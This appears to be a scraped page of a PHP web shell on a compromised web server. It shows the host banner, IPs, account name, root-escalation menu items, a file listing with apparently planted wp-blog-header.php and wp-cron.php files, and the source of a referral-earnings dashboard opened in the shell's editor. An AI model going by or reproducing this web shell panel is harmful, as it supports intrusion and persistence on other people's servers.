Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
assignment.work.zone /
user /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
AssignmentWorkZone.apk
19.5
MB
-rw-r--r--
2026-03-28 16:09
assignment.php
20.18
KB
-rw-r--r--
2026-03-31 10:04
checkout.php
10.61
KB
-rw-r--r--
2026-03-13 17:01
dashboard.php
10.53
KB
-rw-r--r--
2026-03-31 10:21
history.php
3.6
KB
-rw-r--r--
2026-03-12 12:52
logout.php
91
B
-rw-r--r--
2026-03-11 23:27
pending.php
4.56
KB
-rw-r--r--
2026-03-12 01:29
plan-current.php
2.55
KB
-rw-r--r--
2026-03-11 23:27
profile.php
5.04
KB
-rw-r--r--
2026-03-28 15:45
referral-commissions.php
6.07
KB
-rw-r--r--
2026-03-12 00:37
referral.php
8.61
KB
-rw-r--r--
2026-03-28 15:31
select-plan.php
3.4
KB
-rw-r--r--
2026-03-11 23:27
support.php
12.43
KB
-rw-r--r--
2026-03-12 13:23
team-commission.php
2.82
KB
-rw-r--r--
2026-03-12 12:52
team-details.php
4.46
KB
-rw-r--r--
2026-03-12 15:31
withdraw-history.php
3.53
KB
-rw-r--r--
2026-03-12 12:52
withdraw.php
8.18
KB
-rw-r--r--
2026-03-12 15:18
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php require_once '../includes/config.php'; require_once '../includes/header_dashboard.php'; require_once '../includes/sidebar.php'; // Ensure user is loaded $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$_SESSION['user_id']]); $user = $stmt->fetch(); if (!$user || $user['status'] != 'active') { header("Location: ../login.php"); exit; } // Fetch Referral List (Level 1) $stmt = $pdo->prepare("SELECT u.full_name, u.email, u.status, u.created_at, r.commission_earned FROM users u JOIN referrals r ON u.id = r.referred_id WHERE r.referrer_id = ? AND r.level = 1 ORDER BY u.created_at DESC"); $stmt->execute([$user['id']]); $referrals = $stmt->fetchAll(); // Construct Referral Link correctly for both Local and Live $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? "https" : "http"; $host = $_SERVER['HTTP_HOST']; if (strpos(SITE_URL, 'http') === 0) { // If SITE_URL is absolute $refLink = SITE_URL . 'register.php?ref=' . $user['referral_code']; } else { // If SITE_URL is relative (like / or /hania/) $refLink = $protocol . '://' . $host . SITE_URL . 'register.php?ref=' . $user['referral_code']; } // Ensure no double slashes except after protocol $refLink = str_replace(['///', '//'], ['/', '/'], $refLink); $refLink = str_replace(['https:/', 'http:/'], ['https://', 'http://'], $refLink); ?> <h2 style="margin-bottom:30px;">Referral Program</h2> <div class="grid" style="grid-template-columns: 1fr 1fr; gap:30px; margin-bottom:40px;"> <!-- Referral Stats & Link --> <div class="card" style="text-align:left;"> <h3 style="margin-bottom:20px;">Your Referral Link</h3> <p style="color:var(--text-muted); font-size:0.9rem; margin-bottom:25px;"> Share this link with your friends. When they join and activate a plan, you will earn commissions up to 3 levels deep! </p> <div style="display:flex; align-items:center; background:var(--bg-dark); padding:15px; border-radius:12px; border:1px solid rgba(255,255,255,0.08); margin-bottom:20px;"> <input type="text" value="<?php echo $refLink; ?>" readonly style="background:transparent; border:none; color:var(--text-light); width:100%; outline:none; font-size:0.95rem;" id="refLinkLarge"> <button onclick="navigator.clipboard.writeText(document.getElementById('refLinkLarge').value); showToast('Referral link copied!');" class="btn-primary" style="padding:8px 15px; margin-left:10px; border-radius:8px;"> <i class="fas fa-copy"></i> </button> </div> <div style="display:flex; gap:20px;"> <div style="flex:1; background:rgba(46, 204, 113, 0.05); padding:15px; border-radius:12px; border:1px solid rgba(46, 204, 113, 0.1);"> <div style="font-size:0.8rem; color:var(--text-muted); margin-bottom:5px;">Total Referrals</div> <div style="font-size:1.5rem; font-weight:700; color:#2ecc71;"><?php echo count($referrals); ?></div> </div> <div style="flex:1; background:rgba(52, 152, 219, 0.05); padding:15px; border-radius:12px; border:1px solid rgba(52, 152, 219, 0.1);"> <div style="font-size:0.8rem; color:var(--text-muted); margin-bottom:5px;">Referral Code</div> <div style="font-size:1.5rem; font-weight:700; color:#3498db;"><?php echo $user['referral_code']; ?></div> </div> </div> </div> <!-- Referral Earning Stats (replaces hardcoded Commission Structure) --> <?php // Fetch total referral commission earned $earn_stmt = $pdo->prepare("SELECT SUM(commission_earned) FROM referrals WHERE referrer_id = ?"); $earn_stmt->execute([$user['id']]); $total_ref_earned = $earn_stmt->fetchColumn() ?: 0; // Count active vs inactive referrals $active_stmt = $pdo->prepare("SELECT COUNT(*) FROM users u JOIN referrals r ON u.id = r.referred_id WHERE r.referrer_id = ? AND u.status = 'active'"); $active_stmt->execute([$user['id']]); $active_count = $active_stmt->fetchColumn() ?: 0; $all_stmt = $pdo->prepare("SELECT COUNT(*) FROM referrals WHERE referrer_id = ?"); $all_stmt->execute([$user['id']]); $total_count = $all_stmt->fetchColumn() ?: 0; $inactive_count = $total_count - $active_count; ?> <div class="card" style="text-align:left; display:flex; flex-direction:column; gap:20px;"> <h3 style="margin-bottom:5px;">Your Referral Earnings</h3> <p style="color:var(--text-muted); font-size:0.85rem; margin-top:-10px;">Live stats from your entire referral network.</p> <!-- Total Earned Highlight --> <div style="background:linear-gradient(135deg, rgba(0,210,106,0.1), transparent); border:1px solid rgba(0,210,106,0.2); border-radius:14px; padding:20px; text-align:center;"> <div style="font-size:0.8rem; color:var(--text-muted); text-transform:uppercase; letter-spacing:1px; margin-bottom:5px;">Total Earned from Referrals</div> <div style="font-size:2.2rem; font-weight:900; color:var(--primary-color);">Rs <?php echo number_format($total_ref_earned, 2); ?></div> </div> <!-- Active / Inactive Split --> <div style="display:flex; gap:15px;"> <div style="flex:1; background:rgba(46,204,113,0.07); border:1px solid rgba(46,204,113,0.15); border-radius:12px; padding:15px; text-align:center;"> <div style="font-size:0.75rem; color:var(--text-muted); margin-bottom:5px;">Active Members</div> <div style="font-size:1.8rem; font-weight:800; color:#2ecc71;"><?php echo $active_count; ?></div> </div> <div style="flex:1; background:rgba(231,76,60,0.07); border:1px solid rgba(231,76,60,0.15); border-radius:12px; padding:15px; text-align:center;"> <div style="font-size:0.75rem; color:var(--text-muted); margin-bottom:5px;">Pending Activation</div> <div style="font-size:1.8rem; font-weight:800; color:#e74c3c;"><?php echo $inactive_count; ?></div> </div> </div> <!-- Tip --> <div style="background:rgba(52,152,219,0.07); border-left:3px solid #3498db; padding:12px 15px; border-radius:0 10px 10px 0; font-size:0.85rem; color:var(--text-muted);"> <i class="fas fa-lightbulb" style="color:#3498db; margin-right:8px;"></i> Encourage pending members to activate a plan — you earn commission the moment they do! </div> </div> </div> <h3 style="margin-bottom:20px; text-align:left;">My Direct Referrals (Level 1)</h3> <div class="card" style="padding:0; overflow:hidden;"> <div style="max-height: 250px; overflow-y: auto; overflow-x: auto; padding-right: 5px;" class="custom-scrollbar"> <table class="admin-table"> <thead style="position: sticky; top: 0; z-index: 10; background: var(--card-bg-dark);"> <tr> <th>Full Name</th> <th>Email</th> <th>Status</th> <th>Earned From Them</th> <th>Join Date</th> </tr> </thead> <tbody> <?php if (count($referrals) > 0): ?> <?php foreach ($referrals as $r): ?> <tr> <td style="font-weight:600;"><?php echo htmlspecialchars($r['full_name']); ?></td> <td style="color:var(--text-muted);"><?php echo htmlspecialchars($r['email']); ?></td> <td> <span class="badge <?php echo $r['status'] == 'active' ? 'badge-success' : 'badge-warning'; ?>"> <?php echo ucfirst($r['status']); ?> </span> </td> <td style="font-weight:700; color:var(--primary-color);">Rs <?php echo number_format($r['commission_earned'], 2); ?></td> <td style="font-size:0.85rem; color:var(--text-muted);"> <?php echo date('d M Y', strtotime($r['created_at'])); ?> </td> </tr> <?php endforeach; ?> <?php else: ?> <tr> <td colspan="5" style="text-align:center; padding:50px; color:var(--text-muted);"> You haven't referred anyone yet. Start sharing your link! </td> </tr> <?php endif; ?> </tbody> </table> </div> </div> <?php require_once '../includes/footer_dashboard.php'; ?>